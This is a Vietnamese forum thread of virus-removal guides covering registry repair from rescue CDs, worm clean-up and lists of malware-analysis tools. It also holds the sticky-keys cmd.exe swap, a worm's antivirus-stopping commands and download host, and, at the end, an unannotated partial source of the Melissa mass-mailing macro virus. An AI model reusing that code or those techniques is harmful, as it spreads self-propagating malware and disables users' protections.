Nếu có sẵn một trong những đĩa “CD cứu hộ” như Hiren’s BootCD, WinBuilder, Bart’s PE Builder, miniPE... Bạn có thể trực tiếp chỉnh sửa Registry của Windows bằng những tiện ích sẵn có để đơn giản hóa việc khắc phục. Trong bài viết này, chúng tôi sẽ hướng dẫn sử dụng tiện ích Avast! Registry Editor (ARE) trong CD miniPE. Có thể tải về phiên bản mới nhất của miniPE tại http://minipe.org.

Khởi động máy tính bằng CD miniPE (trong trường hợp cần thiết, bạn cần thiết lập để máy tính khởi động từ ổ CD-ROM hoặc nhấn phím tắt để hiển thị tùy chọn khởi động từ các thiết bị phần cứng khác nhau).

Sau khi khởi động, giao diện miniPE khá giống với Windows, dễ dàng cho người dùng thao tác (hình 2).

Chọn Start. Programs. Registry Tools. Avast! Registry Editor để khởi động tiện ích. ARE sẽ liệt kê các HĐH và các tập tin Registry tìm thấy. Nếu chỉ có 1 HĐH, bạn không phải đắn đo khi chọn Load selected OS registry (hình 3).

Trong cửa sổ Registry Editor quen thuộc, thực hiện các thao tác như bước 2 bên trên (hình 4).

Thoát khỏi ARE. Khởi chạy Windows Explorer trong Start. Programs.File Management và thực hiện việc xóa tập tin wsaupdater.exe như bước 3.

Ngoài ra, bạn cũng nên “tận dụng” các phần mềm chống virus trong Programs. AntiVirus/Spyware để không bỏ “lọt lưới” các virus mà Norton AntiVirus, Lavasoft Ad-Aware... trong Windows không phát hiện được. Trong bài viết khác, chúng ta sẽ cùng nhau tìm hiểu thêm về các phần mềm chống virus này.

(Theo Đông Quân PC World)
 
Khắc phục hiện tượng LogOff khi khởi động !!

Bị LogOffkhi vừa hiện màn hình Desktop

Mọi việc khởi động đều suôn sẻ từ khi bạn bấm nút Power để khởi động máy, cho đến khi xuất hiện màn hình Desktop thì lập tức bạn bị LogOut ra màn hình chọn tên sử dụng để đăng nhập. Bạn cố sức chọn các tài khoản khác nhau để khởi động nhưng đều vô dụng.
Ðây là lỗi không tìm thấy file UserInit trong hệ thống (Bạn có thể tìm hiểu key này ở phần trên).

Tôi đã thấy rất nhiều người dùng khi gặp lỗi này đành ngậm ngùi cài đặt lại máy tính của họ. Trên thực tế không nhất thiết phải làm như vậy, chúng ta sẽ lần lượt được biết các cách phục hồi hệ thống như sau.
Có một điều tôi lưu ý với các bạn là Windows luôn tìm cách bảo vệ một số file (Không cho xóa, hay sửa đổi các file này) trong đó có file userinit.exe. Vì vậy hầu như không có virus tìm cách thay thế hay sửa đổi file này mà chúng thường chỉ thay đổi giá trị trong key UserInit của registry.

Cách 1 : Phục hồi hệ thống nếu biết giá trị của key UserInit
Mỗi virus sẽ có một giá trị nhất định ghi trong key UserInit
Ví dụ :
Virus w32.vbvn.rootkit ghi giá trị : C:\Windows\system32\runxpro.exe

Lúc này, bạn chỉ việc khởi động trên nền Dos (Bạn có thể khởi động bằng các đĩa Boot) bạn chỉ việc copy tập tin userinit.exe gốc (Nếu thư mục hệ thống là C:\Windows thì tập tin đó sẽ có đường dẫn là C:\windows\system32\userint.exe ).
Tuy nhiên, tôi sẽ không đi sâu vào cách này bởi vì trong thực tế người dùng rất ít khi để ý đến giá trị của key này (Khi hệ thống có trục trặc, thì họ mới thường tìm cách biết nó là gì).

Cách 2 :
Phục hồi key UserInit.exe ngay cả khi không biết giá trị của key UserInit.
Ðều này đồng nghĩa với việc bạn sẽ truy cập và chỉnh sửa registry ngay cả khi bạn chưa cần vào hệ điều hành.
Để Boot bằng các đĩa CD cứu hộ này, bạn cần phải có nhất thiết lập nhất định để có thể Boot bằng các đĩa này. Với các BIOS khác nhau thì có cấu trúc thiết lập khác nhau, nên trong vấn đề này tôi sẽ không đi sâu mà chỉ tập trung các thao tác để cứu hộ sau khi đã Boot thành công.

Bạn có thể sử dụng công cụ Avast!Registry Editor trong đĩa miniPE (Start -> Programs -> Registry Tools -> Avast!Registry Editor), hay Remote (RunScaner) trong đĩa XPE (Start -> All Programs -> RegEdit -> Remote (RunScaner) )

Việc truy cập và chỉnh sửa registry được thực hiện giống như trong Windows bình thường.
Bạn truy cập vào key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
và ghi giá trị sau C:\Windows\System32\userinit.exe (Với C:\Windows là thư mục cài đặt hệ điều hành).


LogOff1.PNG


Ngoài ra, trong trường hợp xấu, tập tin userinit.exe không tồn tại hoặc đã bị virus sửa đổi thành công. Bạn có thể vào thư mục i386\system32 của đĩa CD để tìm tập tin userinit.exe rồi copy sang thư mục C:\Windows\system32\userinit.exe

LogOff2.PNG


Khởi động máy tới màn hình Desktop thì dừng lại
Một số máy tính sau khi bị máy tính phá hoại, khi khởi động máy trở lại bình thường cho đến màn hình Desktop thì dừng lại mà không xuất hiện các Icon, thanh Start...

Nếu hộp thoại Windows Task Manager không bị chặn lạiĐể khắc phục lỗi này bạn nhấn tổ hợp phím Ctrl +Alt + Delete để gọi Windows Task Manager.
Trong hộp thoại Windows Task Manager bạn chọn thẻ Applications. Bạn chọn New Task... Hộp thoại Create New Task bạn nhập vào explorer.exe . Rồi ấn chọn OK.
Sau đó bạn vào registry và chỉnh sửa lại giá trị của key Shell trở về giá trị ban đầu trước khi bị virus phá hoại.
Đường dẫn key : HKEY_LOCAL_MAHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
Gía trị mặc định : explorer.exe (Hay C:\Windows\explorer.exe)
Với C:\Windows là thư mục cài đặt hệ điều hành.

Nếu hộp thoại Windows Task Manager bị chặn lại
Lúc này bạn không thể sử dụng các công cụ như registry để soạn thảo.
Bạn có thể sử dụng các thao tác cứu hộ như đã thực hiện với key UserInit tôi đã trình bày ở phía trên để phục hồi giá trị giá trị của key Shell như ban đầu.
Sau khi thực hiện xong bạn tiến hành khởi động lại máy tính.

Theo virusvn.com
 
Khắc phục hiện tượng LogOff khi khởi động !! (tt)

Dùng đĩa Hiren's BootCD:

B1: Khởi động từ đĩa Hiren's Boot, sử dụng chương trình quản lý file trong Hiren's Boot để vào thư mục System32
B2: Thay thế file Sethc.exe bằng cmd.exe (bằng cách gõ: copy cmd.exe sethc.exe /y)
B3: Lấy đĩa Hiren's Boot ra và Khởi động lại máy
B4: Tại cửa sổ Logon, nhấn Shilt 5 lần để hiện cửa sổ Command Line
B5: gõ vào regedit.exe
B6: Duyệt đến khóa :HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
sửa lại giá trị mặc định là:
"Userinit"="userinit.exe"
- Nếu an toàn thì bạn có thể sao lưu file Sethc.exe sang thư mục khác để khôi phục lại khi cần
 
Virus W32.DownloaderMass.Worm !!

Triệu chứng:.tạo file:

C:\WINDOWS\System32\wuauc1t.exe
hoặc C:\WINDOWS\System32\wuauc.exe
tạo các file .pif trong đĩa hệ thống nhằm làm tràn ổ đĩa >.<

tạo file "Autorun.inf""Explorer.exe" ở tất cả các partion.

tạo các file dll:
  • C:\WINDOWS\system32\sssurl.dll
  • C:\WINDOWS\system32\sehhter.dll
  • C:\WINDOWS\system32\iyilt.cfg
  • C:\WINDOWS\system32\oqrthc.dll
  • C:\WINDOWS\system32\himh.dll
  • C:\WINDOWS\system32\ukrth.dll
rủ thêm "anh em" về máy cho xôm tụ

download từ địa chỉ _2.trojan8.com/dd/ các file:
  • self.gif
  • gz.exe
  • do.exe
  • ar.exe
  • 1.exe
  • 2.exe
  • 3.exe
  • 4.exe
  • 5.exe
  • 6.exe
  • 7.exe
  • 8.exe
  • 9.exe
  • 10.exe
  • 11.exe
  • 12.exe
  • 13.exe
  • 14.exe
  • 15.exe
  • 16.exe
  • 17.exe
  • cmd /c net stop McShield
  • cmd /c net stop Kwhatchsvc
  • cmd /c net stop KPfwSvc
  • cmd /c net stop "Norton AntiVirus Server"
4. ghi key vào regedit
+ ghi các key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\
Explorer\Advanced\Folder\Hidden\SHOWALL
với giá trị "CheckedValue"=0x00 không cho hiện file ẩn.
+ngăn không cho chạy các ứng dụng sau:
  1. icesword.exe
  2. avmonitor.EXE
  3. AVP.EXE
  4. Autorungkiller. Exe
  5. ~.EXE
  6. 360rpt.EXE
  7. 360safe.EXE
  8. 360tray.EXE
  9. ANTIARP.E XE
  10. Ast.EXE;
    CCenter.EXE
  11. Frameworkservice.EXE
  12. GuardField.exe
  13. Ip amor.EXE
  14. KASARP.exe
  15. KRegEx.EXE
  16. KVMonxp.kxp
  17. KVsrvXP.EXE
  18. KVWS C.EXE
  19. Mmsk.EXE
  20. Navapsvc.EXE
  21. Nod32kui.EXE
  22. QQDOCTOR.EXE
  23. RA S.EXE;
    Regedit.EXE
  24. Runiep.exe
  25. VPC32.exe
  26. VPTRAY.exe
  27. WOPTIL ITIES.EXE
  28. WOPTILITIES.EXE
  29. Wuauclt.EXE
Cách diệt:
mở ProceXP lên thì thấy có một process lạ:"wuauc1t.exe". Kill liền.
chạy chương trình IceSword (nhưng nhớ đổi tên nó thành một cái tên khác nhé ,iamme1412.exe chẳng hạn ), vào phần registry, duyệt đến
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ và xóa các key:
  1. icesword.exe
  2. avmonitor.EXE
  3. AVP.EXE
  4. Autorungkiller. Exe
  5. ~.EXE
  6. 360rpt.EXE
  7. 360safe.EXE
  8. 360tray.EXE
  9. ANTIARP.E XE
  10. Ast.EXE;
    CCenter.EXE
  11. Frameworkservice.EXE
  12. GuardField.exe
  13. Ip amor.EXE
  14. KASARP.exe
  15. KRegEx.EXE
  16. KVMonxp.kxp
  17. KVsrvXP.EXE
  18. KVWS C.EXE
  19. Mmsk.EXE
  20. Navapsvc.EXE
  21. Nod32kui.EXE
  22. QQDOCTOR.EXE
  23. RA S.EXE;
    Regedit.EXE
  24. Runiep.exe
  25. VPC32.exe
  26. VPTRAY.exe
  27. WOPTIL ITIES.EXE
  28. WOPTILITIES.EXE
  29. Wuauclt.EXE
giờ thì vào regedit đc rồi, tiến hành sữa lại vài chỗ ở
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Advanced\Folder\Hidden\SHO WALL
để có thể hiện đc file ẩn.
Hoặc có thể dùng tool VnFix để cho "gọn gàng" hơn. _http://www.baongay.com/dl/vn_fix1.rar

Sau đó tìm và xóa các file:
+ C:\WINDOWS\System32\wuauc1t.exe
+ hoặc C:\WINDOWS\System32\wuauc.exe
+ các file .pif trong ổ đĩa hệ thống
+ file autorun.inf và explorer.exeở các ổ đĩa
Vì con virus này tiến hành inject vào các file hệ thống nên công việc cuối cùng phải làm làm lọai nó ra hòan tòan khỏi máy.
Vào lại Icesword, tiến hành xóa các file dll (force deltete) sau:


C:\WINDOWS\system32\sssurl.dll

C:\WINDOWS\system32\sehhter.dll

C:\WINDOWS\system32\iyilt.cfg
C:\WINDOWS\system32\oqrthc.dll

C:\WINDOWS\system32\himh.dll

C:\WINDOWS\system32\ukrth.dll


okie, khởi động lại máy..
 
Lần chỉnh sửa cuối:
Diệt virus Secret.exe (Hay phimnguoilon.exe)

Dấu hiệu :
1. Tạo file autoruns.inf (File này được thiết lập chế độ ẩn) trong USB với nội dung :
[AutoRun]
open=Secret.exe
;shell\open=Open(&O)
shell\open\Command=Secret.exe
shell\open\Default=1
;shell\explore=Manager(&X)
shell\explore\Command=Secret.exe

2. Sẽ thấy có sự xuất hiện của File Secret.exe trong USB ở thư mục gốc (Tập tin này ẩn), và file phimnguoilon.exe ở một thư mục con bất kỳ nào trong USB (Thư mục này không bị ẩn)
3. Xuất hiện 2 process lạ với những cái tên “không lạ” : --=0

proces.PNG



4. Xuất hiện những thay đổi trong key khởi động quan trọng là UserInit:

autorus.PNG


Tiêu diệt :

Cách 1 :
Dùng ProcessXP, Suspend cả 2 tiến trình userinit.exe và system.exe (Bạn đừng nhầm với các tiến trình hệ thống nhé, 2 tiến trình này có Icon giả Icon thư mục và có các path là : C:\windows\userinit.exe và c:\windows\system32\system.exe )

Okie. Sau đó bạn Kill từng tiến trình (Nhấn chuột phải và chọn Kill Process)

Bạn cũng có thể dùng các phần mềm cho phép kill cùng lúc nhiều tiến trình như Simple Kill Process (Bạn có thể tìm thấy trên VirusVN.com) hoặc PrcViewer để thực hiện việc này.

Khôi phục dữ liệu :
Do virus này ko thay đổi giá trị làm ngăn việc truy cập registry nên bạn vẫn có thể truy cập vào đây để chỉnh sửa nó :
Bạn chọn Start -> Run... -> regedit -> Bạn tìm địa chỉ : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, với nhãn UserInit và chỉnh sửa lại với gia trị là : c:\windows\system32\userinit.exe

Cách 2:
http://dungnguyenle.googlepages.com/QuickRemove.zip
Tài nó về, bạn Browse đến file Secret.qrd lưu trong thư mục Sample
Chọn Remove là Okie

Nếu máy bạn báo thiếu thư viên thì tải tập tin sau về và giải nén :
http://dungnguyenle.googlepages.com/Control.zip

Sau đó bạn có thể xóa các tập tin virus trong hệ thống (Nếu muốn). Và phục hồi các thuộc tính khác của hệ thống bằng VNFix (Bạn có thể tìm trên VirusVN.com)

Theo virusvn.com
 
Cách diệt virus tạo nhiều process bảo vệ lẫn nhau !!

Chỉ cần chạy con này 1 lần, nó sẽ :
+ Nhân bản ra 5 con giống hệt nó, vứt rải rác ở window, system, system32, c:\.
+ Chạy cùng 1 lúc cả 5 chương trình, cứ sau 2s nó sẽ chạy 1 lần.
+ Mỗi lần chạy sẽ ghi vào reg để khởi động cùng window.

Điểm thú vị nhất của con này là : Phải xóa (kill processes) cùng 1 lúc cả 5 con, vì nếu còn 1 con, nó sẽ tái tạo lại 5 con-> chạy cả 5 con. Bắt buộc phải kill processes trước khi xóa, vì nó đang kích hoạt.
Không thể bỏ khi khởi động, kể cả trong safe mode, cứ bỏ sau 2s nó lại ghi vào reg. (máy cài winxp).

Hài ở chỗ là nó chỉ sinh ra để tạo 5 file, chạy 5 file, ghi vào reg. Còn lại không làm gì nữa hết (chết cười với tay nào tạo con này. Made in VN)

Vậy làm sao để kill con này trên win đây ?
Nguồn:

HTML:
    http://www.hvaonline.net/hvaonline/posts/list/9923.hva
Trả lời:
Bạn có thể dùng tính năng suppend process của chương trình ProcessXP để suppend lần lượt cả 5 process của con virus đó. Tiếp theo bạn kill lần lượt từng process một cách bình thường.:04:


Có lần gặp "bè lũ" virus "láu cá" hơn con này luôn, nó tự nhận ra lẫn nhau có bị Suspend hay không rồi tự Resume.
Sài thằng Process Viewer để Kill gần như đồng thời lũ này là được.

TaskManager không hiện được process tree thì biết cái nào là gốc mà kill với lại TaskManager bình thường không có SeDebugPrivilege nên không kill được những thằng nào dùng security để bảo vệ

để diệt mấy con loại này thì dùng ProcessXp hay Gmer là đủ rồi hoặc dùng tool SytemExplorer, kill tất cả lũ này mất 1 giây, check vào " ẩn tiến trình tin cậy ", các process chuẩn sẽ bị ẩn còn chìa ra các process vô chính phủ, chọn Kill ALL--> là xong.Sau đó vào tab khởi động chọn chức năng "tìm kiếm theo ID trên toàn ổ cứng" --> DELETE ALL .Tất ả các loại worm kiểu này diệt trong 5 phút

Theo virusvn.com
 
Diệt virus nhiễm vào worm !!

Lời dẫn :
Gần đây, khi nhận được một số mẫu worm, thì ngay mẫu đó Dũng cũng thường thấy được sự xuất hiện của 1 con virus file đang ký sinh vào file đó.

Tuy nhiên chỉ sau bảng thống kể an ninh mạng Tháng 7 của Bkis thì DungCoi mới nhận ra sự nguy hiểm của vấn đề này.
Trên bảng xếp hạng tháng 7, chúng ta dễ dàng nhận ra sự trở lại của một số loại virus file, đây là điều bất thường. Nếu bạn chú ý thì vài năm gần đây, các virus file dần tàn lụi, chỉ nổi lên với virus Ukuran với khả năng nhiễm vào và giả dạng file Word và Excel.
Vậy tại sao các virus file trở lại lay nhiễm với tốc độ nhanh đến vậy ?
Lý do là do các virus này ko hiểu vô tình hay hữu ý đã nhiễm vào các worm, sau đó các worm này lại tiếp tục tự lây lan. Và điều này đồng nghĩa worm đi tới đâu đã dắt theo virus file đi tới đó.

Vấn đề cụ thể và làm DC phải viết bài này khẩn cấp klà DC đã nhận được tin nhắn của một người bạn trong nội thành và nói về một loại worm cũ (Là w32.Boom.worm) nhưng nhiễm trên nó con virus Sality. Loại này đã làm một “trận dịch” các máy tính mà anh ấy phải cứu hộ. Giải pháp hiện nay được đưa ra là cài lại máy.
Rõ ràng chẳng vui lắm.


Bài viết :

Công cụ cần có :
Bạn tải và lưu các công cụ này vào USB của bạn ở một máy “sạch”.

Nếu bạn diệt theo thích diệt dựa vào 1 bài viết cũ của DungCoi thì bạn theo dõi và tải các công cụ theo đó mà diệt. Link sau : …..
Lần này DungCoi sẽ sử dụng công cụ thuộc VirusVN’s Project để tiến hành diệt.

1. Công cụ cần :- Phần mềm QuickVK, bạn xem thảo luận và QuickVK tại đây : http://virusvn.com/forum/showthread.php?t=330
Nếu bạn chưa làm thành viên diễn đàn thì bạn tải qua link sau : .....
- Total Commander : .....
2. Phần mềm Kaspersky hay bất cứ phần mềm chống virus nào khác đã cập nhật virus Sality này.
Bạn cần lưu ý là cần bản cập nhật dữ liệu mới nhất.

Bạn tải Portabe Kaspersky tại đây : ....
Còn đây là nơi bạn tải bảng mã nhận dạng mới cho Kav : ....
Sai khi tải về, bạn giải nén bảng nhận dạng virus và copy đè chúng vào thư mục \AVP7\Bases trong thư mục bạn giải nén Kav.

Hoặc bạn tải bộ của DungCoi đã tạo sẵn (Mã nhận dạng cập nhật đến ngày 19/8/2008) (Khoảng 59mb) : http://www.mediafire.com/?3cfbasg4v2m

Sau khi tạo xong, bạn nén thư mục chứa nó thành một tập tin .zip và đặt trong USB.

Thao tác :
Cách lẹ nhất là dùng quách Kav quét luôn, nhưng theo DungCoi nhận thấy ở máy mình khi nhiễm virus là Kav không thể chạy.
Vậy ta có các cách sau :
1.
Khởi động bằng đĩa CD cứu hộ (DungCoi dùng đĩa XPE).
Do cả worm và virus này đều diệt được được KAV nhận dạng nên có thể dễ dàng diệt.
Tuy nhiên sau đó phải phục hồi một số key trong registry :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit với giá trị : c:\windows\system32\userinit.exeHKEY_CLASSES_ROOT\exefile\shell\open\command với giá trị : "%1" %*

Cách này rất gọn và tiện. Tuy nhiên nếu bạn chưa hoàn toàn chắc chắn đĩa cứu hộ của bạn có công cụ sửa chữa registry ở cho hệ thống bạn thì bạn ko nên mạo hiểm. Chúng ta sẽ thực hiện cách 2.
(Lưu ý, thao tác khởi động KAV khi trong XPE sẽ đê cập trong cách 2 này).

2.
Bước 1 :
- Bạn khởi động QuickVK và thực hiện thao tác chọn tiến trình có tên Global.exe và bấm Ok
WormAndVirus1.PNG


- Bạn tiếp tục chọn nút Scan
- Bạn chịu khó chờ một chút, sẽ xuất hiện ra một bạn kết quả.
WormAndVirus2.PNG

- Sau khi quét xong, bạn ấn nút Kill
- Sẽ hiển thị một hộp thoại thông báo đã diệt xong.
WormAndVirus3.PNG


Bước 2 :
- Khởi động Total Commander
- Thiết lập xem file ơ thuộc tính ẩn.
…. (Bạn có thể xem ở các bài viết trước)
- Tìm và xoá 2 tập tin Autoruns.inf và MS-DOS.com trên tất cảc các đĩa trên máy bạn.
WormAndVirus4.PNG

- Tìm và xoá tập tin có đường dẫn sau : C:\WINDOWS\Cursors\Boom.vbs

Tới bước này, nếu bạn khởi động và chạy được KAV thì bạn tiến hành Scan cả máy nữa là xong. Tuy nhiên trên máy DC lại xuất hiện hộp thoại sau, làm cho quá trình làm việc của KAV ko diễn ra nên DC buộc phải dùng tới đĩa cứu hộ.
WormAndVirus5.PNG



Bước 3 :
Khởi động đĩa cứu hộ sử dụng nền WindowsXP (Mục đích là có thể nhận ra đĩa USB và khởi động KAV). DungCoi dùng XPE.
Đây là màn hình khởi động của XPE :
WormAndVirus6.PNG

- Sau khi khởi động xong. Bạn đưa USB vào và máy sẽ nhận ra.
WormAndVirus7.PNG

- Lúc này bạn tiến hành giải nén file KAV bạn đã tạo trong USB. Chý ý bạn phải giải nén ngay trên USB và chạy các thao tác trên đó.

Lý do :
Đề phòng khi có dữ liệu bị mất thì còn biết đường mà phục hồi.
- Sau đó chạy tập tin PKAV7.exe
- Bạn tiếp tục thao tác để quét.
- Bạn chỉ cần chọn ổ đĩa là đĩa cứng trên máy tính bạn thôi để quá trình quét nhanh hơn.
WormAndVirus8.PNG

- Sau đó bạn tiến hành quét.
WormAndVirus9.PNG


- Khi có thông báo, bạn hãy đánh dấu chọn Aplply to all và chọn Disinfect, nếu có thông báo có nút chọn Delete thì nên thận trọng hơn một chút, đừng xoá quá lung tung.
WormAndVirus10.PNG


Okie. Sau khi quét xong thì khởi động lại máy và ngắm kiểm tra kết quả.

(Theo virusvn)
 
Những chữ in đậm đó là gì? Có thể tìm ở đâu? Cách sử dụng như thế nào?
Làm sao để biết và lấy các code đó trong 1 tập tin .exe vậy?
Bác có tài liệu này hay đã đọc ở đâu kô chỉ cho em biết với?
Tạo file virus thì kô ham, nhưng đọc được các đoạn code của các chương trình nước ngoài mới thì sẽ rất có ích cho việc viết code đấy bác?!
Thân.

Bạn chú ý :

Bộ công cụ cần có để phân tích virus
1. Các công cụ để debug:
+ OllyDbg: Dĩ nhiên rồi! Olly luôn là sự lựa chọn số một! Không phải bàn cãi
06.gif

+ Borland Turbo Debugger : công cụ cơ bản để bạn debug virus trên DOS.
+ WinDbg: Rất cần thiết nếu bạn muốn viết, phân tích rootkit (hoạt động ở chế độ kernel của OS)
+ SoftICE: Là công cụ có tính năng tương tự WinDbg nhưng giao diện thân thiện hơn. Tuy nhiên hay trục trặc
02.gif
. Khi phải lựa chọn mình sẽ chọn WinDbg.
+ Một số Soft hỗ trợ debug VB: SmartCheck, VB Decompiler
2. Các công cụ để disassemblers:
+ IDA Pro : Chỉ có thể nói rằng: quá tuyệt vời!
Tương tự Olly, IDA có rất nhiều plugin hỗ trợ, trong sô đó nổi đình nổi đám nhất hiện nay là: Hex-Rays. Bạn có thể xem demo tại đây!
+ Win32dasm: Là công cụ disassembler tốt nhất trước khi IDA ra đời
10.gif
Dĩ nhiên là nó vẫn còn rất hữu dụng.
+ Windows Disassembler: Công dụng, tính năng, mọi thứ gần giống Win32dasm. Khác biệt duy nhất có lẽ là kích thước chương trình. Tuy nhiên nếu phải lựa chọn tôi sẽ chọn Win32dasm. ( dĩ nhiên không tính IDA: với tôi IDA mãi là tình yêu lớn nhất
08.gif
)

3. Các công cụ hỗ trợ Unpack:
+ PE Explorer: Một công cụ mạnh để xem, chỉnh sửa, fix dump ... một file PE. PE Explorer còn tích hợp thêm tính năng unpack UPX. Đây là một tính năng được ưa thích của PE Explorer đơn giản vì UPX được sử dụng rất nhiều trên thực tế.
+ PEiD: Là công cụ tốt nhất hỗ trợ bạn phát hiện xem virus đã được pack bởi công cụ (giải thuật) nào. Tuy nhiên PEID không unpack giúp bạn.
+ LordPE: Công cụ mạnh để hỗ trợ dump file.
+ ImpRec: LordPE và ImpRec là một cặp trời sinh
21.gif
Bạn hãy sử dụng đồng thời cả 2 công cụ này.
+ ProcDump32:
4. Các công cụ hỗ trợ hex editor:
+ Hexworkshop: Một công cụ mạnh, nhiều tính năng. You have to try it to belive it!
08.gif

+ Hiew: Nổi tiếng chả kém gì Hexworkshop
+ Hex view

5. VMWare, Virtual PC ... để virtualize cái máy tính giúp pà kon phân tích virus trong đó an toàn hơn


Trên đây chỉ là những core item cơ bản, đối với mỗi người, trong từng trường hợp chúng ta sẽ cần thêm rất nhiều những công cụ mạnh khác nữa. Để chống lại virus chúng ta không thể sử dụng tay không. Để chống được virus chúng ta phải có những công cụ thật mạnh!

Thêm :

- Thêm bộ SysInternals Suite nữa: DbgView, FileMon, RegMon, ProcExp, TcpView, ProcMon, AutoRuns...
- Các app capture: Cain, CommView, MS Network Monitor.
- Các tool, plugin compare các binary files, patch files: EDS, BinDiff, IDACompare...
- x86emu: plugin cho IDA để emulation.
- Python và các app ứng dụng của nó: IDAPython, PaiMei, Process_Stalker, ImmDbg
- Trình kernel debugger mới: Syser.
- Tập dùng remote debug với IDA, WinDbg, VS...
- Các tool snapshot như: RegShot, RegSnap, ART hay SysTracer. Tui khoái cái thằng SysTracer này, qua REA sẽ có keygen của Kienmanowar.


Thật là thiếu sót nếu mọi người không biết đến công cụ Universal Extractor. Đây là một công cụ giải nén miễn phí cực kỳ tốt nhằm để biết virus được viết từ mã nguồn gì. Vì đây là chương trình viết bằng AutoIT nên khuyến cáo mọi người khi sử dụng không được mở các chương trình diệt AutoIT như FastHelper…của LVH. Chương trình có hỗ trợ giao diện tiếng Việt do Nguyễn Nhật Quang dịch. Chương trình hỗ trợ giải nén các định dạng sau:

7-zip archive
.7z, .exe
ACE archive
.ace
ARC archive
.arc
ARJ archive
.arj, .exe
ASpack compressed file
.exe
BIN/CUE CD-ROM image
.bin, .cue
bzip2 archive
.bz2, .tbz2, .tar.bz2
CPIO compressed file
.cpio
Debian package
.deb
Encoded files
.b64, .uu, .uue, .xx, .xxe, .yenc, .ntx
Gentee package
.exe
gzip archive
.gz, .tgz, .tar.gz
IMG floppy disk image
.img
Inno Setup package
.exe
Installer VISE package
.exe
InstallShield Cabinet archive
.cab, .1, .lib
InstallShield package
.exe
ISO CD-ROM image
.iso
KGB archive
.kgb, kge, .exe
LZH compressed file
.lzh, .lha
LZW compressed file
.Z, .tz, .tar.Z
LZO compressed file
.lzo
MHTML file
.mht
Microsoft Cabinet archive
.cab, .exe, .imf
Microsoft Compiled Help file
.chm
Microsoft compressed file
.??_
Microsoft LIT e-book
.lit
Microsoft Windows Help file
.hlp
NSIS package
.exe
Outlook Express mail archive
.dbx
PEA archive
.pea
RAR archive
.rar, .001, .exe
RPM package
.rpm
SetupFactory package
.exe
SIS (SymbianOS) packages
.sis
StuffIt packages
.sit
TAR archive
.tar, .tbz2, .tgz, .tz, .tar.bz2, .tar.gz, .tar.z
UHARC archive
.uha
UPX compressed file
.exe, .dll
Windows Installer package
.msi
Windows Installer patch
.msp
Wise Installer package
.exe
ZIP archive
.zip, .jar, .xpi, .wz, .exe
Zoo archive
.zoo

Các bạn có thể tải chương trình và xem thêm thông tin chi tiết tại: http://legroom.net/software/uniextract

Đừng nên chỉ dùng 1 mình VB Decompiler, ông nội này cũng lụi lắm. Code đưa ra nhiều lúc sai, làm debug theo chết bỏ luôn. VB Decompiler nói tại address đó gọi hàm API này, qua OllyDbg thì lại gọi hàm #, hoặc không gọi.
Nên dùng kết hợp với IDA + OllyDbg. Debug để kiểm tra lại hết code VB Decompiler đưa ra.
Bên OllyDbg có plugin VB Dll Helper, bên IDA thì có rất nhiều IDC script và IDAPython script để parse VB native app. Export map từ IDA qua OllyDbg để debug.


Link :

1. VB Decompiler 5 : Đã test, dịch ngược tốt hơn các version trước rất nhiều
Link : http://www.box.net/shared/ro6lo7l2cw
2. Qunpack2.1 : Công cụ giúp xác định nhanh chương trình Pack (Có sử dụng thư viện 2 app khác là PEiD và gì đó quên rồi).
Hỗ trợ Unpack, tuy nhiên do chức năng xác định OEP chung nên chỉ Unpack chính xác một số Packer mà thôi.
Link : http://www.box.net/shared/xhdoojbogk


(Theo virusvn)
 
Mời các bác đọc cái này :

PHP:
Private Sub Document_Open()
    On Error Resume Next
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
        CommandBars("Macro").Controls("Security...").Enabled = False
        System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    Else
        CommandBars("Tools").Controls("Macro").Enabled = False
        Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
    End If

    Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
    Set UngaDasOutlook = CreateObject("Outlook.Application")
    Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
        If UngaDasOutlook = "Outlook" Then
            DasMapiName.Logon "profile", "password"
            For y = 1 To DasMapiName.AddressLists.Count
                Set AddyBook = DasMapiName.AddressLists(y)
                x = 1
                Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
                For oo = 1 To AddyBook.AddressEntries.Count
                    Peep = AddyBook.AddressEntries(x)
                    BreakUmOffASlice.Recipients.Add Peep
                    x = x + 1
                    If x > 50 Then oo = AddyBook.AddressEntries.Count
                Next oo
                BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
                BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
                BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
                BreakUmOffASlice.Send
                Peep = ""
            Next y
            DasMapiName.Logoff
        End If
        System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
    End If


    Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
    Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
    NTCL = NTI1.CodeModule.CountOfLines
    ADCL = ADI1.CodeModule.CountOfLines
    BGN = 2
    If ADI1.Name <> "Melissa" Then
        If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
        Set ToInfect = ADI1
        ADI1.Name = "Melissa"
        DoAD = True
    End If

    If NTI1.Name <> "Melissa" Then
        If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
        Set ToInfect = NTI1
        NTI1.Name = "Melissa"
        DoNT = True
    End If

